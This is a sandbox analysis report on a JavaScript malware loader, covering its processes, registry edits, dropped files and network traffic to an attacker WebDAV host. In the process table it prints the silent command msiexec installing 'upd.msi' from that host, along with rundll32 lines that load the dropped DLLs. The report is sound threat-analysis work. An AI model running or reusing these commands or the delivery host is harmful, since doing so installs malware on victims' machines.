File name:

93f7e95461c18aee7b56651069104710c76f9e3d6543a0b3248a21b236859d99.js

Full analysis: https://app.any.run/tasks/46a46714-3371-455a-b335-f96d06394090
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: March 22, 2024, 16:12:51
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
webdav
loader
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines (519), with CRLF line terminators
MD5:

B6C851921B9805BE8C8B9FD3B100035E

SHA1:

9B1826525C063FBB7BF942FB8D7C9EEB12363E1C

SHA256:

93F7E95461C18AEE7B56651069104710C76F9E3D6543A0B3248A21B236859D99

SSDEEP:

12288:FoCHz5t/b1PhODnPd/Zq5OrmzvdGJUEfu9SVxpipqPJn:Fp5fMDnP9ocrmzVsUYudwPJn

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Drops the executable file immediately after the start

      • msiexec.exe (PID: 6984)
    • Unusual connection from system programs

      • wscript.exe (PID: 4844)
    • Opens a text file (SCRIPT)

      • wscript.exe (PID: 4844)
  • SUSPICIOUS

    • Reads data from a binary Stream object (SCRIPT)

      • wscript.exe (PID: 4844)
    • Checks whether a specific file exists (SCRIPT)

      • wscript.exe (PID: 4844)
    • Gets full path of the running script (SCRIPT)

      • wscript.exe (PID: 4844)
    • Reads the Windows owner or organization settings

      • msiexec.exe (PID: 6984)
    • Creates FileSystem object to access computer's file system (SCRIPT)

      • wscript.exe (PID: 4844)
    • Uses WMI to retrieve WMI-managed resources (SCRIPT)

      • wscript.exe (PID: 4844)
    • Writes binary data to a Stream object (SCRIPT)

      • wscript.exe (PID: 4844)
    • Uses RUNDLL32.EXE to load library

      • rundll32.exe (PID: 6412)
      • rundll32.exe (PID: 3676)
    • Executable content was dropped or overwritten

      • rundll32.exe (PID: 3676)
    • Non-standard symbols in registry

      • msiexec.exe (PID: 6984)
    • Application launched itself

      • rundll32.exe (PID: 3676)
    • Reads security settings of Internet Explorer

      • MSI82CD.tmp (PID: 4732)
      • msiexec.exe (PID: 6984)
    • Reads the date of Windows installation

      • MSI82CD.tmp (PID: 4732)
    • Creates an object to access WMI (SCRIPT)

      • wscript.exe (PID: 4844)
    • Uses pipe srvsvc via SMB (transferring data)

      • msiexec.exe (PID: 6984)
    • Executed via WMI

      • msiexec.exe (PID: 2436)
  • INFO

    • Checks proxy server information

      • wscript.exe (PID: 4844)
      • slui.exe (PID: 6132)
    • Checks supported languages

      • msiexec.exe (PID: 776)
      • MSI82CD.tmp (PID: 4732)
      • msiexec.exe (PID: 6984)
    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 6984)
    • Creates files or folders in the user directory

      • msiexec.exe (PID: 6984)
      • rundll32.exe (PID: 3676)
    • Reads Environment values

      • msiexec.exe (PID: 776)
    • Reads the computer name

      • msiexec.exe (PID: 776)
      • MSI82CD.tmp (PID: 4732)
      • msiexec.exe (PID: 6984)
    • Starts application with an unusual extension

      • msiexec.exe (PID: 6984)
    • Drops the executable file immediately after the start

      • rundll32.exe (PID: 3676)
    • Reads the software policy settings

      • slui.exe (PID: 6132)
    • Process checks computer location settings

      • MSI82CD.tmp (PID: 4732)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
138
Monitored processes
9
Malicious processes
2
Suspicious processes
3

Behavior graph

Click at the process to see the details
start wscript.exe msiexec.exe no specs msiexec.exe msiexec.exe no specs msi82cd.tmp no specs rundll32.exe no specs rundll32.exe rundll32.exe no specs slui.exe

Process information

PID
CMD
Path
Indicators
Parent process
776C:\Windows\syswow64\MsiExec.exe -Embedding 7FA973E5C7AF18203EEDB5F5E78FC51CC:\Windows\SysWOW64\msiexec.exemsiexec.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\aclayers.dll
2436msiexec.exe /i \\sokingscrosshotel.com@80\share\upd.msi /qnC:\Windows\System32\msiexec.exeWmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
3676"C:\Windows\System32\rundll32.exe" C:\Users\admin\AppData\Local\besr\cr2.dll, vgmlC:\Windows\System32\rundll32.exe
rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shcore.dll
c:\windows\system32\imagehlp.dll
4080rundll32.exe "C:\Users\admin\AppData\Roaming\Custom_update\Update_28166db2.dll", vgml C:\Windows\System32\rundll32.exerundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shcore.dll
c:\windows\system32\imagehlp.dll
4732"C:\WINDOWS\Installer\MSI82CD.tmp" C:\Windows\System32\rundll32.exe C:\Users\admin\AppData\Local\besr\cr2.dll, vgmlC:\Windows\Installer\MSI82CD.tmpmsiexec.exe
User:
admin
Company:
Caphyon LTD
Integrity Level:
MEDIUM
Description:
File that launches another file
Exit code:
0
Version:
19.1.0.0
Modules
Images
c:\windows\installer\msi82cd.tmp
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\user32.dll
c:\windows\syswow64\win32u.dll
4844"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\93f7e95461c18aee7b56651069104710c76f9e3d6543a0b3248a21b236859d99.js"C:\Windows\System32\wscript.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6132C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
6412"C:\Windows\System32\rundll32.exe" C:\Users\admin\AppData\Local\besr\cr2.dll, vgmlC:\Windows\SysWOW64\rundll32.exeMSI82CD.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
10.0.19041.746 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\aclayers.dll
6984C:\WINDOWS\system32\msiexec.exe /VC:\Windows\System32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Exit code:
0
Version:
5.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
Total events
5 258
Read events
5 201
Write events
48
Delete events
9

Modification events

(PID) Process:(4844) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(4844) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(4844) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(4844) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(4844) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe
Operation:writeName:JScriptSetScriptStateStarted
Value:
EF710E0000000000
(PID) Process:(6984) msiexec.exeKey:HKEY_USERS\S-1-5-21-1693682860-607145093-2874071422-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(6984) msiexec.exeKey:HKEY_USERS\S-1-5-21-1693682860-607145093-2874071422-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(6984) msiexec.exeKey:HKEY_USERS\S-1-5-21-1693682860-607145093-2874071422-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(6984) msiexec.exeKey:HKEY_USERS\S-1-5-21-1693682860-607145093-2874071422-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(6984) msiexec.exeKey:HKEY_USERS\S-1-5-21-1693682860-607145093-2874071422-1001\SOFTWARE\Microsoft\RestartManager\Session0000
Operation:writeName:Owner
Value:
481B00003F6BFBE0737CDA01
Executable files
9
Suspicious files
5
Text files
0
Unknown types
11

Dropped files

PID
Process
Filename
Type
6984msiexec.exeC:\WINDOWS\TEMP\~DF6123D6E71C2D1D1C.TMPbinary
MD5:5DED9863E70E1C6085544D7597669C4F
SHA256:EDD5949D487C9D7074B20598408182C9EB3BAA73B763EA25F9EF9FE0F4AA7C2E
6984msiexec.exeC:\WINDOWS\TEMP\~DF7AE81165705DC020.TMPbinary
MD5:5DED9863E70E1C6085544D7597669C4F
SHA256:EDD5949D487C9D7074B20598408182C9EB3BAA73B763EA25F9EF9FE0F4AA7C2E
6984msiexec.exeC:\WINDOWS\TEMP\~DFAA77E6C9583CE6B3.TMPgmc
MD5:7A0478E0E5FC4FA692675B0F5F84F89A
SHA256:B4C8253EC0C142CE4D49F316604D7FF90BCAB918933BFFECE457E9157E038005
6984msiexec.exeC:\WINDOWS\TEMP\~DF18E131C7C93129A5.TMPgmc
MD5:BF619EAC0CDF3F68D496EA9344137E8B
SHA256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
6984msiexec.exeC:\WINDOWS\Installer\MSI82CD.tmpexecutable
MD5:B9545ED17695A32FACE8C3408A6A3553
SHA256:1E0E63B446EECF6C9781C7D1CAE1F46A3BB31654A70612F71F31538FB4F4729A
6984msiexec.exeC:\WINDOWS\TEMP\~DF72D2CF458BD09E69.TMPgmc
MD5:BF619EAC0CDF3F68D496EA9344137E8B
SHA256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
6984msiexec.exeC:\WINDOWS\Installer\MSI8230.tmpbinary
MD5:AE30D2622686F229FB55EA428CEA34CD
SHA256:6AE3708E8A4807F8BF28D9462C37BF3F7956980A7BF8B688269950BA52B7F6B5
6984msiexec.exeC:\WINDOWS\Installer\MSI81D1.tmpexecutable
MD5:475D20C0EA477A35660E3F67ECF0A1DF
SHA256:426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
6984msiexec.exeC:\WINDOWS\Installer\MSI8171.tmpexecutable
MD5:475D20C0EA477A35660E3F67ECF0A1DF
SHA256:426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
6984msiexec.exeC:\WINDOWS\Installer\e8018.msiexecutable
MD5:A32536810939D2264C9030B8A1B12186
SHA256:D83D5378F1BB37D1423207AD67F2F984F2D46BA9534194C344A051117C1E541F
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
18
TCP/UDP connections
47
DNS requests
18
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4844
wscript.exe
OPTIONS
200
193.106.174.218:80
http://sokingscrosshotel.com/
unknown
unknown
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D
unknown
binary
471 b
unknown
6548
svchost.exe
OPTIONS
200
193.106.174.218:80
http://sokingscrosshotel.com/share
unknown
unknown
6548
svchost.exe
PROPFIND
207
193.106.174.218:80
http://sokingscrosshotel.com/share
unknown
xml
883 b
unknown
5184
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
binary
409 b
unknown
6548
svchost.exe
PROPFIND
404
193.106.174.218:80
http://sokingscrosshotel.com/share/Desktop.ini
unknown
html
392 b
unknown
3996
svchost.exe
GET
304
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
unknown
6548
svchost.exe
PROPFIND
404
193.106.174.218:80
http://sokingscrosshotel.com/share/Desktop.ini
unknown
html
392 b
unknown
3996
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
binary
471 b
unknown
6548
svchost.exe
PROPFIND
207
193.106.174.218:80
http://sokingscrosshotel.com/share
unknown
xml
883 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
239.255.255.250:1900
unknown
3996
svchost.exe
20.190.159.68:443
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
1280
MoUsoCoreWorker.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4844
wscript.exe
193.106.174.218:80
sokingscrosshotel.com
IQHost Ltd
RU
unknown
6548
svchost.exe
193.106.174.218:80
sokingscrosshotel.com
IQHost Ltd
RU
unknown
3996
svchost.exe
20.190.159.64:443
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4840
backgroundTaskHost.exe
20.74.47.205:443
arc.msn.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
unknown
5184
SIHClient.exe
52.165.165.26:443
slscr.update.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
unknown
4840
backgroundTaskHost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
5184
SIHClient.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
unknown

DNS requests

Domain
IP
Reputation
sokingscrosshotel.com
  • 193.106.174.218
unknown
slscr.update.microsoft.com
  • 52.165.165.26
whitelisted
arc.msn.com
  • 20.74.47.205
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
www.microsoft.com
  • 95.101.149.131
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.3.187.198
whitelisted
settings-win.data.microsoft.com
  • 51.124.78.146
whitelisted
activation-v2.sls.microsoft.com
  • 40.91.76.224
whitelisted
nexusrules.officeapps.live.com
  • 52.111.243.29
whitelisted

Threats

PID
Process
Class
Message
4844
wscript.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 26
6548
svchost.exe
Misc activity
ET HUNTING Successful PROPFIND Response for Application Media Type
6548
svchost.exe
Misc activity
ET HUNTING Successful PROPFIND Response for Application Media Type
1 ETPRO signatures available at the full report
No debug info